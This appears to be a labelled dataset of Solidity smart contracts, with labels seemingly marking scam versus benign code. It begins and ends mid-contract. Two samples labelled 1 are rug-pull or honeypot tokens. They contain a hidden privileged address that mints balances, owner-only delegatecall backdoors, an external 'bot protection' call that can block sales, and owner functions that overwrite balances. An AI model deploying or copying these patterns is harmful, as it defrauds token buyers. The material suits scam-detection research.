address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1132167815322823072539476364451924570945755492656));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,833 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract Token is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Stone Token";
string public symbol = "STN";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 1 | 3,848 |
pragma solidity ^0.4.0;
contract countGame {
address public best_gamer;
uint public count = 0;
uint public endTime = 1504969200;
function fund() payable {
require(now <= endTime);
}
function (){
require(now<=endTime && count<50);
best_gamer = msg.sender;
count++;
}
function endGame(){
require(now>endTime || count == 50);
best_gamer.transfer(this.balance);
}
} | 0 | 2,011 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract MMOToken is ERC20 {
using SafeMath for uint256;
address public owner;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
string public name = "MMO's game art foundation";
string public constant symbol = "MMO";
uint public constant decimals = 18;
bool public stopped;
modifier stoppable {
assert(!stopped);
_;
}
uint256 public totalSupply = 1000000000*(10**18);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event LOCK(address indexed _owner, uint256 _value);
mapping (address => uint256) public lockAddress;
modifier lock(address _add){
require(_add != address(0));
uint256 releaseTime = lockAddress[_add];
if(releaseTime > 0){
require(block.timestamp >= releaseTime);
_;
}else{
_;
}
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function MMOToken() public {
owner = msg.sender;
balances[msg.sender] = totalSupply;
}
function stop() onlyOwner public {
stopped = true;
}
function start() onlyOwner public {
stopped = false;
}
function lockTime(address _to,uint256 _value) onlyOwner public {
if(_value > block.timestamp){
lockAddress[_to] = _value;
emit LOCK(_to, _value);
}
}
function lockOf(address _owner) constant public returns (uint256) {
return lockAddress[_owner];
}
function transferOwnership(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function () public payable {
address myAddress = this;
emit Transfer(msg.sender, myAddress, msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) stoppable lock(msg.sender) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, uint256 _amount) stoppable lock(_from) public returns (bool success) {
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[msg.sender] = balances[msg.sender].add(_amount);
emit Transfer(_from, msg.sender, _amount);
return true;
}
function approve(address _spender, uint256 _value) stoppable lock(_spender) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function withdraw() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function kill() onlyOwner public {
selfdestruct(msg.sender);
}
function setName(string _name) onlyOwner public {
name = _name;
}
} | 0 | 111 |
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
mapping (address => bool) public unpausedWallet;
event Pause();
event Unpause();
bool public paused = true;
modifier whenNotPaused(address _to) {
require(!paused||unpausedWallet[msg.sender]||unpausedWallet[_to]);
_;
}
function setUnpausedWallet(address _wallet, bool mode) public {
require(owner == msg.sender || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
unpausedWallet[_wallet] = mode;
}
function setPause(bool mode) public onlyOwner {
if (!paused && mode) {
paused = true;
emit Pause();
}
if (paused && !mode) {
paused = false;
emit Unpause();
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PausableToken is StandardToken, Pausable {
mapping (address => bool) public grantedToSetUnpausedWallet;
function transfer(address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused(_to) returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function grantToSetUnpausedWallet(address _to, bool permission) public {
require(owner == msg.sender || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
grantedToSetUnpausedWallet[_to] = permission;
}
function setUnpausedWallet(address _wallet, bool mode) public {
require(owner == msg.sender || grantedToSetUnpausedWallet[msg.sender] || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
unpausedWallet[_wallet] = mode;
}
}
contract FreezingToken is PausableToken {
struct freeze {
uint256 amount;
uint256 when;
}
mapping (address => freeze) freezedTokens;
function freezedTokenOf(address _beneficiary) public view returns (uint256 amount){
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.amount;
}
function defrostDate(address _beneficiary) public view returns (uint256 Date) {
freeze storage _freeze = freezedTokens[_beneficiary];
if(_freeze.when < now) return 0;
return _freeze.when;
}
function freezeTokens(address _beneficiary, uint256 _amount, uint256 _when) public onlyOwner {
freeze storage _freeze = freezedTokens[_beneficiary];
_freeze.amount = _amount;
_freeze.when = _when;
}
function transferAndFreeze(address _to, uint256 _value, uint256 _when) external {
require(unpausedWallet[msg.sender]);
if(_when > 0){
freeze storage _freeze = freezedTokens[_to];
_freeze.amount = _freeze.amount.add(_value);
_freeze.when = (_freeze.when > _when)? _freeze.when: _when;
}
transfer(_to,_value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(balanceOf(msg.sender) >= freezedTokenOf(msg.sender).add(_value));
return super.transfer(_to,_value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(balanceOf(_from) >= freezedTokenOf(_from).add(_value));
return super.transferFrom( _from,_to,_value);
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
}
contract MigrationAgent
{
function migrateFrom(address _from, uint256 _value) public;
}
contract MigratableToken is BasicToken,Ownable {
uint256 public totalMigrated;
address public migrationAgent;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
function setMigrationAgent(address _migrationAgent) public onlyOwner {
require(migrationAgent == 0x0);
migrationAgent = _migrationAgent;
}
function migrateInternal(address _holder) internal {
require(migrationAgent != 0x0);
uint256 value = balances[_holder];
balances[_holder] = 0;
totalSupply_ = totalSupply_.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(_holder, value);
emit Migrate(_holder,migrationAgent,value);
}
function migrateAll(address[] _holders) public onlyOwner {
for(uint i = 0; i < _holders.length; i++){
migrateInternal(_holders[i]);
}
}
function migrate() public
{
require(balances[msg.sender] > 0);
migrateInternal(msg.sender);
}
}
contract BurnableToken is BasicToken, Ownable {
event Burn(address indexed burner, uint256 value);
function burn(address _beneficiary, uint256 _value) public onlyOwner {
require(_value <= balances[_beneficiary]);
balances[_beneficiary] = balances[_beneficiary].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_beneficiary, _value);
emit Transfer(_beneficiary, address(0), _value);
}
}
contract UnburnableListToken is BurnableToken {
mapping (address => bool) public grantedToSetUnburnableWallet;
mapping (address => bool) public unburnableWallet;
function grantToSetUnburnableWallet(address _to, bool permission) public {
require(owner == msg.sender || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
grantedToSetUnburnableWallet[_to] = permission;
}
function setUnburnableWallet(address _wallet) public {
require(owner == msg.sender || grantedToSetUnburnableWallet[msg.sender] || msg.sender == Crowdsale(owner).wallets(uint8(Crowdsale.Roles.manager)));
unburnableWallet[_wallet] = true;
}
function burn(address _beneficiary, uint256 _value) public onlyOwner {
require(!unburnableWallet[_beneficiary]);
return super.burn(_beneficiary, _value);
}
}
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
contract Token is FreezingToken, MintableToken, MigratableToken, UnburnableListToken {
string public constant name = "TOSS";
string public constant symbol = "PROOF OF TOSS";
uint8 public constant decimals = 18;
mapping (address => mapping (address => bool)) public grantedToAllowBlocking;
mapping (address => mapping (address => bool)) public allowedToBlocking;
mapping (address => mapping (address => uint256)) public blocked;
event TokenOperationEvent(string operation, address indexed from, address indexed to, uint256 value, address indexed _contract);
modifier contractOnly(address _to) {
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
require(codeLength > 0);
_;
}
function transferToContract(address _to, uint256 _value, bytes _data) public contractOnly(_to) returns (bool) {
super.transfer(_to, _value);
ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);
receiver.tokenFallback(msg.sender, _value, _data);
return true;
}
function grantToAllowBlocking(address _contract, bool permission) contractOnly(_contract) public {
grantedToAllowBlocking[msg.sender][_contract] = permission;
emit TokenOperationEvent('grant_allow_blocking', msg.sender, _contract, 0, 0);
}
function allowBlocking(address _owner, address _contract) contractOnly(_contract) public {
require(_contract != msg.sender && _contract != owner);
require(grantedToAllowBlocking[_owner][msg.sender]);
allowedToBlocking[_owner][_contract] = true;
emit TokenOperationEvent('allow_blocking', _owner, _contract, 0, msg.sender);
}
function blockTokens(address _blocking, uint256 _value) whenNotPaused(_blocking) public {
require(allowedToBlocking[_blocking][msg.sender]);
require(balanceOf(_blocking) >= freezedTokenOf(_blocking).add(_value) && _value > 0);
balances[_blocking] = balances[_blocking].sub(_value);
blocked[_blocking][msg.sender] = blocked[_blocking][msg.sender].add(_value);
emit Transfer(_blocking, address(0), _value);
emit TokenOperationEvent('block', _blocking, 0, _value, msg.sender);
}
function unblockTokens(address _blocking, address _unblockTo, uint256 _value) whenNotPaused(_unblockTo) public {
require(allowedToBlocking[_blocking][msg.sender]);
require(blocked[_blocking][msg.sender] >= _value && _value > 0);
blocked[_blocking][msg.sender] = blocked[_blocking][msg.sender].sub(_value);
balances[_unblockTo] = balances[_unblockTo].add(_value);
emit Transfer(address(0), _blocking, _value);
if (_blocking != _unblockTo) {
emit Transfer(_blocking, _unblockTo, _value);
}
emit TokenOperationEvent('unblock', _blocking, _unblockTo, _value, msg.sender);
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State { Active, Refunding, Closed }
uint8 round;
mapping (uint8 => mapping (address => uint256)) public deposited;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
event Deposited(address indexed beneficiary, uint256 weiAmount);
function RefundVault() public {
state = State.Active;
}
function deposit(address investor) onlyOwner public payable {
require(state == State.Active);
deposited[round][investor] = deposited[round][investor].add(msg.value);
emit Deposited(investor,msg.value);
}
function close(address _wallet1, address _wallet2, uint256 _feesValue) onlyOwner public {
require(state == State.Active);
require(_wallet1 != 0x0);
state = State.Closed;
emit Closed();
if(_wallet2 != 0x0)
_wallet2.transfer(_feesValue);
_wallet1.transfer(address(this).balance);
}
function enableRefunds() onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor) public {
require(state == State.Refunding);
uint256 depositedValue = deposited[round][investor];
require(depositedValue > 0);
deposited[round][investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
function restart() external onlyOwner {
require(state == State.Closed);
round++;
state = State.Active;
}
function del(address _wallet) external onlyOwner {
selfdestruct(_wallet);
}
}
contract PeriodicAllocation is Ownable {
using SafeMath for uint256;
struct Share {
uint256 proportion;
uint256 periods;
uint256 periodLength;
}
uint256 public unlockStart;
uint256 public totalShare;
mapping(address => Share) public shares;
mapping(address => uint256) public unlocked;
ERC20Basic public token;
function PeriodicAllocation(ERC20Basic _token) public {
token = _token;
}
function setUnlockStart(uint256 _unlockStart) onlyOwner external {
require(unlockStart == 0);
require(_unlockStart >= now);
unlockStart = _unlockStart;
}
function addShare(address _beneficiary, uint256 _proportion, uint256 _periods, uint256 _periodLength) onlyOwner external {
shares[_beneficiary] = Share(shares[_beneficiary].proportion.add(_proportion),_periods,_periodLength);
totalShare = totalShare.add(_proportion);
}
function unlockFor(address _owner) public {
require(unlockStart > 0);
require(now >= (unlockStart.add(shares[_owner].periodLength)));
uint256 share = shares[_owner].proportion;
uint256 periodsSinceUnlockStart = (now.sub(unlockStart)).div(shares[_owner].periodLength);
if (periodsSinceUnlockStart < shares[_owner].periods) {
share = share.div(shares[_owner].periods).mul(periodsSinceUnlockStart);
}
share = share.sub(unlocked[_owner]);
if (share > 0) {
uint256 unlockedToken = token.balanceOf(this).mul(share).div(totalShare);
totalShare = totalShare.sub(share);
unlocked[_owner] += share;
token.transfer(_owner,unlockedToken);
}
}
}
contract AllocationQueue is Ownable {
using SafeMath for uint256;
mapping(address => mapping(uint256 => uint256)) public queue;
uint256 public totalShare;
ERC20Basic public token;
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint16 constant ORIGIN_YEAR = 1970;
uint constant LEAP_YEARS_BEFORE_ORIGIN_YEAR = 477;
function AllocationQueue(ERC20Basic _token) public {
token = _token;
}
function isLeapYear(uint16 year) internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function groupDates(uint256 _date) internal view returns (uint256) {
uint secondsAccountedFor = 0;
uint year = ORIGIN_YEAR + _date / YEAR_IN_SECONDS;
uint numLeapYears = ((year - 1) / 4 - (year - 1) / 100 + (year - 1) / 400) - LEAP_YEARS_BEFORE_ORIGIN_YEAR;
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > _date) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
uint8 month;
uint seconds31 = 31 * DAY_IN_SECONDS;
uint seconds30 = 30 * DAY_IN_SECONDS;
uint secondsFeb = (isLeapYear(uint16(year)) ? 29 : 28) * DAY_IN_SECONDS;
if (secondsAccountedFor + seconds31 > _date) {
month = 1;
} else if (secondsAccountedFor + seconds31 + secondsFeb > _date) {
month = 2;
} else if (secondsAccountedFor + 2 * seconds31 + secondsFeb > _date) {
month = 3;
} else if (secondsAccountedFor + 2 * seconds31 + seconds30 + secondsFeb > _date) {
month = 4;
} else if (secondsAccountedFor + 3 * seconds31 + seconds30 + secondsFeb > _date) {
month = 5;
} else if (secondsAccountedFor + 3 * seconds31 + 2 * seconds30 + secondsFeb > _date) {
month = 6;
} else if (secondsAccountedFor + 4 * seconds31 + 2 * seconds30 + secondsFeb > _date) {
month = 7;
} else if (secondsAccountedFor + 5 * seconds31 + 2 * seconds30 + secondsFeb > _date) {
month = 8;
} else if (secondsAccountedFor + 5 * seconds31 + 3 * seconds30 + secondsFeb > _date) {
month = 9;
} else if (secondsAccountedFor + 6 * seconds31 + 3 * seconds30 + secondsFeb > _date) {
month = 10;
} else if (secondsAccountedFor + 6 * seconds31 + 4 * seconds30 + secondsFeb > _date) {
month = 11;
} else {
month = 12;
}
return uint256(year) * 100 + uint256(month);
}
function addShare(address _beneficiary, uint256 _tokens, uint256 _freezeTime) onlyOwner external {
require(_beneficiary != 0x0);
require(token.balanceOf(this) == totalShare.add(_tokens));
uint256 currentDate = groupDates(now);
uint256 unfreezeDate = groupDates(now.add(_freezeTime));
require(unfreezeDate > currentDate);
queue[_beneficiary][unfreezeDate] = queue[_beneficiary][unfreezeDate].add(_tokens);
totalShare = totalShare.add(_tokens);
}
function unlockFor(address _owner, uint256 _date) public {
uint256 date = groupDates(_date);
require(date <= groupDates(now));
uint256 share = queue[_owner][date];
queue[_owner][date] = 0;
if (share > 0) {
token.transfer(_owner,share);
totalShare = totalShare.sub(share);
}
}
function getShare(address _owner, uint256 _date) public view returns(uint256){
uint256 date = groupDates(_date);
return queue[_owner][date];
}
}
contract Creator{
Token public token = new Token();
RefundVault public refund = new RefundVault();
function createToken() external returns (Token) {
token.transferOwnership(msg.sender);
return token;
}
function createPeriodicAllocation(Token _token) external returns (PeriodicAllocation) {
PeriodicAllocation allocation = new PeriodicAllocation(_token);
allocation.transferOwnership(msg.sender);
return allocation;
}
function createAllocationQueue(Token _token) external returns (AllocationQueue) {
AllocationQueue allocation = new AllocationQueue(_token);
allocation.transferOwnership(msg.sender);
return allocation;
}
function createRefund() external returns (RefundVault) {
refund.transferOwnership(msg.sender);
return refund;
}
}
contract Crowdsale{
uint256 constant USER_UNPAUSE_TOKEN_TIMEOUT = 60 days;
uint256 constant FORCED_REFUND_TIMEOUT1 = 400 days;
uint256 constant FORCED_REFUND_TIMEOUT2 = 600 days;
uint256 constant ROUND_PROLONGATE = 0 days;
uint256 constant BURN_TOKENS_TIME = 90 days;
